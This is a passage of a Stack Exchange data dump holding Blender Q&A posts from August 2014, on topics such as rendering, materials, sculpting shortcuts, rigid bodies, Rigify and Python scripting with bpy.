LastEditDate="2014-08-20T02:26:22.633" LastActivityDate="2014-08-30T13:28:44.037" Title="Why does blender select random faces in edit mode? (Ubuntu)" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-09-01T00:24:38.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="15108" PostTypeId="1" CreationDate="2014-08-19T11:27:52.593" Score="0" ViewCount="298" Body="&lt;p&gt;I have some strange problem in my recent Blender project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modelled a room with some stuff in it and I added some simple wooden texture to the floor. When I am in the 3D view and change it to &quot;rendered&quot; everything renders correctly. When I hit Render through the menu, I have some weird effect on the floor, somehow its totally messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2A3lm.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pd7Qq.png&quot; alt=&quot;This is what it looks like when I cahnge to rendered view in 3D view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this happens? And do you may have some advices for me , to get a noise free interior scene with blender without sampling everything thousands of times?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! -Marten&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2014-11-18T08:54:38.943" Title="Texture doesnt render correctly when rendering final image" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15109" PostTypeId="2" ParentId="15093" CreationDate="2014-08-19T11:53:20.173" Score="1" Body="&lt;p&gt;turns out the cylinder was not on the same layer. Having the object tab selected (two left of the modifier tab) I clicked on the top left layer and bam it was there :)&lt;/p&gt;&#xA;" OwnerUserId="3028" LastActivityDate="2014-08-19T11:53:20.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15110" PostTypeId="1" AcceptedAnswerId="15134" CreationDate="2014-08-19T11:57:50.797" Score="0" ViewCount="1313" Body="&lt;p&gt;Does anyone have any advice on how I could create a 3D LSystem in Blender? Preferably using a generative or automatic method. A 2D example below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MJqjo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3241" LastEditorUserId="3241" LastEditDate="2014-08-20T21:32:29.360" LastActivityDate="2014-08-20T21:32:29.360" Title="How to create a 3D LSystem?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-08-20T06:51:29.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="15111" PostTypeId="1" CreationDate="2014-08-19T12:03:00.360" Score="2" ViewCount="9034" Body="&lt;p&gt;I can control the glossiness/reflectiveness of a material by mixing a glossy BSDF with a diffuse BSDF and setting the mix ammount, but in that case glossiness/reflectiveness are linked. Is that so because they are linked in real world? The more shiny, the more reflective, no exceptions, is that how it works? How can I control them separately?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The material is used on a plane which is the floor for an architectural visualisation. Generally I would like the scene to be realistic but with the floor and background I'd prefer not to have the limitations of real world. What I need is to be able to finetune the amount of reflection on the floor while controlling separately the intensity of highlights/gloss made by lights.&lt;/p&gt;&#xA;" OwnerUserId="5200" LastActivityDate="2017-03-21T20:07:18.787" Title="Control the amount of gloss and reflection separately in a glossy BSDF material?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="15112" PostTypeId="1" CreationDate="2014-08-19T14:32:33.050" Score="1" ViewCount="501" Body="&lt;p&gt;Is there a way to register custom user properties for example a filepath the user can set under &lt;code&gt;User Preferences &amp;gt; File&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better would be the possiblity to register a whole new tab in the user preference menu but that is not necessary if it would be complicating my effort.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-08-19T16:18:40.877" Title="Addon/Script: Register custom user properties" Tags="&lt;python&gt;&lt;add-on&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15113" PostTypeId="1" AcceptedAnswerId="15114" CreationDate="2014-08-19T15:42:57.987" Score="9" ViewCount="9612" Body="&lt;p&gt;I'm working on some sculpting but I hate that I have to go to the &lt;em&gt;Toolshelf&lt;/em&gt; and select &lt;code&gt;Subtract&lt;/code&gt;, whenever I need that brush. So, while in Sculpt mode, how can I switch between Add and Subtract brush modes, with a shortcut?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-12-16T21:29:30.367" LastActivityDate="2019-09-29T05:22:02.543" Title="Is there a shortcut to switch between Add and Subtract brushes, in Sculpt mode?" Tags="&lt;workflow&gt;&lt;sculpting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15114" PostTypeId="2" ParentId="15113" CreationDate="2014-08-19T15:42:57.987" Score="11" Body="&lt;p&gt;You can press and hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; to toggle between sculpt modes. While pressed you will be in the opposite mode to what is selected in the toolshelf; i.e. if you have selected &lt;em&gt;Add&lt;/em&gt;, then while pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; you will be in &lt;em&gt;Subtract&lt;/em&gt; Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list of all &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Sculpt_Mode#Keyboard_Shortcuts&quot;&gt;keyboard shortcuts&lt;/a&gt; available in Sculpt Mode.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="2217" LastEditDate="2014-08-19T17:17:36.370" LastActivityDate="2014-08-19T17:17:36.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15116" PostTypeId="2" ParentId="15112" CreationDate="2014-08-19T16:18:40.877" Score="1" Body="&lt;p&gt;The filepath properties are stored in &lt;code&gt;bpy.types.UserPreferencesFilePaths&lt;/code&gt;, which does not support custom properties (only ID types and Bones do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if it was possible, you couldn't make a property show still - addons can't overrule default layout scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.AddonPreferences.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;AddonPreferences&lt;/strong&gt;&lt;/a&gt; however, as long as the properties are not supposed to be stored in every individual .blend you work with. AddonPreferences show up in the &lt;em&gt;User Preferences &gt; Addons&lt;/em&gt; tab, below the addon info (the addon entry needs to be expanded).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-19T16:18:40.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15117" PostTypeId="1" AcceptedAnswerId="15121" CreationDate="2014-08-19T17:23:32.797" Score="3" ViewCount="1059" Body="&lt;p&gt;&lt;br&gt;&#xA;I wanted to make a Material, that changes automaticly on steep parts of the landscape. I worked with a german Tutorial (&lt;a href=&quot;https://www.youtube.com/watch?v=PnJ3uAG5jYM&quot; rel=&quot;nofollow&quot;&gt;Link&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me the result seems randomly. I tried changing the values of the rotation on the mapping-node. x:-45 and y:180 seems to work for one side of the valley. (should I also try the location and scale values?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I do wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendpolis.de/download/file.php?id=94409&quot; rel=&quot;nofollow&quot;&gt;.blend-File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5666" LastActivityDate="2014-08-19T19:34:24.783" Title="Texture-Coordinates Normals -&gt; Mapping-Node doesn't work as expected" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15118" PostTypeId="1" AcceptedAnswerId="27182" CreationDate="2014-08-19T17:52:09.873" Score="8" ViewCount="4041" Body="&lt;p&gt;I am trying to use loopcut in a python script in Blender 2.71. I have tried using the following code from &quot;&lt;a href=&quot;https://blender.stackexchange.com/questions/11032/loop-cut-and-slide-using-python-script-in-blender&quot;&gt;Loop cut and slide using python script in blender&lt;/a&gt;&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;old_type = bpy.context.area.type&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bpy.context.area.type = 'VIEW_3D'&#xA;&#xA;bpy.ops.mesh.loopcut_slide(MESH_OT_loopcut={&quot;number_cuts&quot;:10,&quot;smoothness&quot;:0,&quot;falloff&quot;:'ROOT', &quot;edge_index&quot;:1})&#xA;bpy.ops.mesh.loopcut_slide(MESH_OT_loopcut={&quot;number_cuts&quot;:10,&quot;smoothness&quot;:0,&quot;falloff&quot;:'ROOT', &quot;edge_index&quot;:0})&#xA;bpy.context.area.type = old_type &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error when the call to loopcut is made:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;RuntimeError: Operator bpy.ops.mesh.loopcut_slide.poll() expected a view3d region &amp;amp; editmesh&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have also tried overriding the context using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;win      = bpy.context.window&#xA;scr      = win.screen&#xA;areas3d  = [area for area in scr.areas if area.type == 'VIEW_3D']&#xA;region   = [region for region in areas3d[0].regions if region.type == 'WINDOW']&#xA;&#xA;override = {'window':win,&#xA;            'screen':scr,&#xA;            'area'  :areas3d[0],&#xA;            'region':region,&#xA;            'scene' :bpy.context.scene,&#xA;            }&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bpy.ops.mesh.loopcut(override=override, number_cuts=1, smoothness=0, falloff='ROOT', edge_index=5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to call other mesh operators such as merge() and primitive_plane_add() successfully...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as to what I'm doing wrong or not understanding?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Follow up&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried tracing this by debugging the Blender source in VS. As far as I can tell, the context I'm passing in as an override gets passed to the C side of things as python specific context contained in a data pointer of some sort (I haven't investigated enough to fully understand what is going on). When the poll function gets called for the operator it gets the context indicating a TEXT space instead of a 3D view space so it fails. It appears that the override isn't happening. I'm not sure at this point if an override is intended to work in this case or if I'm just going about it the wrong way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I run my code as a addon instead of trying to run it from the TEXT window it works fine (no override needed). This doesn't address why I can't get overrides to work but at least I can work around it since I'm ultimately writing an addon anyway...&lt;/p&gt;&#xA;" OwnerUserId="5668" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2016-08-26T11:49:14.483" Title="How do I override context for bpy.ops.mesh.loopcut?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15119" PostTypeId="1" CreationDate="2014-08-19T18:37:32.570" Score="0" ViewCount="84" Body="&lt;p&gt;I just want to make a simple animation of an tomato hitting a surface and spills over it like that.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NPbs9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;I already imported tomato object, made it rigid and it hits surfaces. I just don't know how to make it break open and spills over yet not leave the solid tomato.&lt;/p&gt;&#xA;" OwnerUserId="5670" LastEditorUserId="2217" LastEditDate="2014-08-19T18:44:37.653" LastActivityDate="2014-08-19T18:44:37.653" Title="Rigid body simulation with a fluid spill simulation" Tags="&lt;rigid-body-simulation&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-08-20T15:35:26.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="15120" PostTypeId="2" ParentId="15094" CreationDate="2014-08-19T19:06:43.550" Score="3" Body="&lt;p&gt;This is what I would do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by importing the file and aligning it with the grid. Aligning with the x-y-z axes will make tranformations easier.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NwaNV.png&quot; alt=&quot;Align the model with the grid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, go into Edit mode and select the good half of the model by pressing &lt;code&gt;b&lt;/code&gt; and clicking/dragging your cursor . Preferably, you should do this after smoothing out the scanning imperfections so that you don't have to clean each side of the model independently.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4bgUC.png&quot; alt=&quot;Select the good half of the model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;Shift+d&lt;/code&gt; to duplicate the selected vertices and &lt;code&gt;p&lt;/code&gt; to separate them from the original mesh. The new mesh is no longer closed, and you will need to close off the opened edge of the mesh before performing any boolean operations. Select the outer ring of vertices, and use &lt;code&gt;Shift+F&lt;/code&gt; to fill the empty space.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0w9jQ.png&quot; alt=&quot;Fill the empty edge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a combination of mirror transformations, rotating, and moving, place the closed mesh in the desired position on the other side of the model. You might have to move the new mesh down slightly or decrease its scale by a tiny amount, so that none of the new mesh's faces hide faces along the top of the original mesh.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hJmA5.png&quot; alt=&quot;Place the new mesh in its proper position&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new mesh is now overlapping the broken edge of the original mesh and needs to be trimmed to fit.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8UbFX.png&quot; alt=&quot;The new mesh overlaps the broken edge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Object mode, select the new mesh (blue) first, hold &lt;code&gt;Shift&lt;/code&gt;, and then select the original mesh (red). Press &lt;code&gt;w&lt;/code&gt;, and click &lt;code&gt;Difference&lt;/code&gt;. Blender will subtract the original mesh from the new mesh and introduce a third mesh containing the difference. The third mesh (colored green here) should closely fit the original mesh's broken edges.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NczHv.png&quot; alt=&quot;Fitted mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LHUzA.gif&quot; alt=&quot;Animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can add a .blend file later today if it will help. Cleaning and accurately scaling the mesh will probably be the most challenging part of this project.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditDate="2014-08-19T19:15:45.827" LastActivityDate="2014-08-19T19:15:45.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15121" PostTypeId="2" ParentId="15117" CreationDate="2014-08-19T19:14:39.473" Score="2" Body="&lt;p&gt;It looks fine to me..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yO6an.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However I like to use a &lt;em&gt;separate RGB&lt;/em&gt; node to separate out the Z part of the normal for this kind of effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you connect the normal output of the texture coordinate node straight into the color input of a an emission shader, you'll see that there that the three &quot;channels&quot; (X,Y,Z) get mapped to RGB. So faces pointing towards positive Z are blue, positive Y green, and positive X red. (faces pointing in between will be additive combinations of those colors, such as pink, yellow, white, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMtoC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you separate out the blue component, you are left with a map of faces pointing upwards (along the Z):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8s6Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By feeding that into a color ramp node to fine-tune the blending, then using that to mix between shaders/textures as in the tutorial, you get a result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0rBlJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0rBlJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above screenshot I also applied the scale and add some loopcuts to the terrain object to make the mesh density more even, reducing the &quot;stretched&quot; look.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-19T19:34:24.783" LastActivityDate="2014-08-19T19:34:24.783" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15122" PostTypeId="1" AcceptedAnswerId="15971" CreationDate="2014-08-19T20:04:51.387" Score="4" ViewCount="755" Body="&lt;p&gt;I have a CollectionProperty like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RenderGroups(PropertyGroup):&#xA;    image = StringProperty(name=&quot;Image&quot;, description=&quot;The image-texture of this group&quot;)&#xA;&#xA;class MHFCMeshProps(PropertyGroup):&#xA;    render_groups = CollectionProperty(type=RenderGroups,&#xA;                                       name=&quot;Render Groups&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I don't want duplicate names in the PropertyGroup but I stumbled when I tried to shadow the internal &lt;code&gt;name&lt;/code&gt; with a StringProperty. Is there any way the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g = obj.testgroup.render_groups.add()&#xA;g.name = &quot;Name&quot;&#xA;g = obj.testgroup.render_groups.add()&#xA;g.name = &quot;Name&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would result in two different keys &quot;Name&quot; and &quot;Name.001&quot; for example?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2020-05-12T15:21:51.613" Title="CollectionProperty avoid duplicate names" Tags="&lt;python&gt;&lt;add-on&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15123" PostTypeId="1" AcceptedAnswerId="15124" CreationDate="2014-08-19T21:08:46.943" Score="2" ViewCount="1044" Body="&lt;p&gt;I have just encountered an issue with a model I have created. When I scrub through the timeline parts of the model seem to explode away from each other. To my knowledge I have not added any modifiers to it and do not want this to happen!&#xA;Here are a couple of images which illustrate the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At Frame 0&#xA;&lt;img src=&quot;https://i.stack.imgur.com/01q5x.png&quot; alt=&quot;Frame 0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At Frame 10&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B71Jp.png&quot; alt=&quot;Frame 10&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the blend file: &lt;a href=&quot;https://www.dropbox.com/s/x3pw00lmhvw0tut/Cabin.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/x3pw00lmhvw0tut/Cabin.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5628" LastActivityDate="2014-08-19T21:17:16.667" Title="Why are my objects 'exploding'?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;modifiers&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-20T10:30:36.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="15124" PostTypeId="2" ParentId="15123" CreationDate="2014-08-19T21:17:16.667" Score="2" Body="&lt;p&gt;You set several of the roof pieces as &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;rigid bodies&lt;/a&gt;. To delete the rigid body and all of the motion calculated from it Select the roof pices, then in the &lt;em&gt;physics&lt;/em&gt; tab of the tool bar press remove.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bplRK.png&quot; alt=&quot;physics tab&quot;&gt;&lt;br&gt;&#xA;You can also get to the physics settings in the &lt;em&gt;physics&lt;/em&gt; tab of the properties window.  &lt;img src=&quot;https://i.stack.imgur.com/zjE5X.png&quot; alt=&quot;properties window&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-08-19T21:17:16.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15126" PostTypeId="1" CreationDate="2014-08-18T22:24:12.957" Score="3" ViewCount="1508" Body="&lt;p&gt;I can still cut it entirely with the Loop cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ItCbk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing is, I want to get rid of that edge, I do that by dissolving it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B9De4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here's the problem, after that, I can't cut it entirely. I've also tried dissolving the remaining vertices but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F51aT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I want to do is to cut it entirely after dissolving the edge, instead of doing it separately as you can see in the pic. Is there a way to achieve that? Did I make a wrong move?&lt;/p&gt;&#xA;" OwnerUserId="3751" OwnerDisplayName="Fabián" LastEditorUserId="599" LastEditDate="2014-08-19T23:53:04.430" LastActivityDate="2014-08-24T01:59:05.060" Title="Loop cut entirely after dissolving an edge" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15127" PostTypeId="1" CreationDate="2014-08-20T00:00:46.897" Score="1" ViewCount="95" Body="&lt;p&gt;Whenever I try to use the Deselect/Select All tool I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/2qP2G2B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/2qP2G2B.png&quot; alt=&quot;Error screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I do so I can use the tool without getting this error?&lt;/p&gt;&#xA;" OwnerUserId="5673" LastEditorUserId="599" LastEditDate="2014-08-20T00:03:32.930" LastActivityDate="2014-08-20T02:10:40.933" Title="Error when using Deselect/Select All tool?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-08-20T03:04:03.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="15128" PostTypeId="1" AcceptedAnswerId="15523" CreationDate="2014-08-20T01:55:36.130" Score="7" ViewCount="3927" Body="&lt;p&gt;I would like to get the list of objects on a specific layer with python.&#xA;When it can be done through iterating &lt;code&gt;bpy.data.objects[].layers&lt;/code&gt; with &lt;code&gt;True&lt;/code&gt; value, are there any built-in ways to get what is on a layer?&lt;/p&gt;&#xA;" OwnerUserId="3395" LastEditorUserId="29301" LastEditDate="2018-02-19T16:09:30.710" LastActivityDate="2018-02-19T16:09:30.710" Title="Get the list of objects on a layer in python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15129" PostTypeId="2" ParentId="15127" CreationDate="2014-08-20T02:10:40.933" Score="1" Body="&lt;p&gt;I found out that if I swap from Texture Paint to Edit Mode that I can simply press &lt;em&gt;B&lt;/em&gt;, and select what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GL4zT.png&quot; alt=&quot;Fix&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5673" LastActivityDate="2014-08-20T02:10:40.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15130" PostTypeId="1" CreationDate="2014-08-20T02:13:56.000" Score="1" ViewCount="124" Body="&lt;p&gt;I have been trying to figure out the video making in blender. I have a green screen and decided to film myself in front of it. I uploaded the video into blender in the compositing category. Once I filled my green screen in with a background I was ready to save the video I have created. I Have the file format as an xvid but it still only saves the single frame of the video I am paused on. Yes, I am new to blender. Any attempt of help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5676" LastActivityDate="2015-12-15T01:17:20.203" Title="Video keeps saving single frame" Tags="&lt;video&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-09-19T16:38:42.057" ContentLicense="CC BY-SA 3.0" />
  <row Id="15131" PostTypeId="2" ParentId="15130" CreationDate="2014-08-20T02:32:47.243" Score="2" Body="&lt;p&gt;If you're talking about exporting, you'll have to press the &quot;animation&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0KvmE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0KvmE.png&quot; alt=&quot;proprieties window&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3395" LastEditorUserId="2217" LastEditDate="2015-12-15T01:17:20.203" LastActivityDate="2015-12-15T01:17:20.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15132" PostTypeId="1" CreationDate="2014-08-20T03:47:09.107" Score="0" ViewCount="240" Body="&lt;p&gt;I've seen many rigify questions on this site, but none that explain something to this extreme. This model is freshly rigged with rigify. Any minor change in pose causes a large deformation, and nothing is consistent from any video or tutorial I have been following. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/WUupb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wNkSA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/co7y4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rtvZ6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hHi7O.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand weight paint, but it only seems to make the problem worse by introducing new ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.megafileupload.com/en/file/559289/RiggedFresh-blend1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;To the blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help, and I hope something can be done about it. There is another model suffering from the same problems. &lt;/p&gt;&#xA;" OwnerUserId="5647" LastEditorUserId="3127" LastEditDate="2014-08-20T15:11:12.983" LastActivityDate="2014-08-20T15:11:12.983" Title="Rigify extreme deformations" Tags="&lt;rigging&gt;&lt;weight-painting&gt;&lt;rigify&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15133" PostTypeId="1" CreationDate="2014-08-20T06:22:52.667" Score="1" ViewCount="34" Body="&lt;p&gt;Hello I'm following some tutorial on Blender 2.5. Author shows how to use Bevel on cube's edge. Here is simple code (edit mode is on):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cube = bpy.context.active_object&#xA;cube.data.edges[0].bevel_weight = 1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i try this code in Blender 2.69/2.71, I can't see any changes. When I do it by shortcut ctrl+b it works&lt;/p&gt;&#xA;" OwnerUserId="5678" LastActivityDate="2014-08-20T06:22:52.667" Title="Bevel selected edge" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-08-20T15:36:26.907" ContentLicense="CC BY-SA 3.0" />
